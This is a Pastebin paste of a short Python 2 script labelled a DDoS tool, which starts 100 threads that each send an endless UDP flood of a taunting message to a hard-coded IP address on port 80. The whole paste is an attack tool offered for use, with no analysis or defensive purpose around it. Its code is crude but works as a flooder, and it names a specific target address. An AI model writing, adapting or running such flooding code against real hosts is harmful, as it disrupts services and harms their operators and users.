Guest User

DDOs

a guest
Mar 16th, 2017
181
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.15 KB | None | 0 0
  1. import time, socket, os, sys, string, urllib2, threading
  2. t = [None] *100
  3. def attack():
  4.     host = '145.116.138.207'
  5.     port = 80
  6.     message="#I am virtually kicking your ass. "
  7.     ip = socket.gethostbyname( host )
  8.     ddos = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  9.     while True:
  10.         try:
  11.             ddos.connect((host, port))
  12.         except socket.error, msg:
  13.             print("failed to connect")
  14.             break
  15.         for i in range(100):
  16.             try:
  17.                 ddos.send( message )
  18.                 ddos.sendto( message, (ip, port) )
  19.                 ddos.send( message );
  20.             except socket.error, msg:
  21.                 break
  22.             except KeyboardInterrupt:
  23.                 break
  24.     ddos.close()
  25.     print "connection failed"
  26.  
  27.  
  28. def main():
  29.     print "DOS app started"
  30.     while True:
  31.         run = 1
  32.         sys.stdout.write("\rAttacking target on port: 80                      "),
  33.         sys.stdout.flush()
  34.         for i in range(100):
  35.             print "adding thread %s" %i
  36.             t[i] = threading.Thread(target=attack)
  37.         for i in range(100):
  38.             t[i].daemon = True
  39.         for i in range(100):
  40.             print "starting thread %s" %i
  41.             t[i].start()
  42.         for i in range(100):
  43.             t[i].join()
  44.  
  45.  
  46. if __name__ == "__main__":
  47.     try:
  48.         main()
  49.     except KeyboardInterrupt:
  50.         print "DDOS stopped"
Add Comment
Please, Sign In to add comment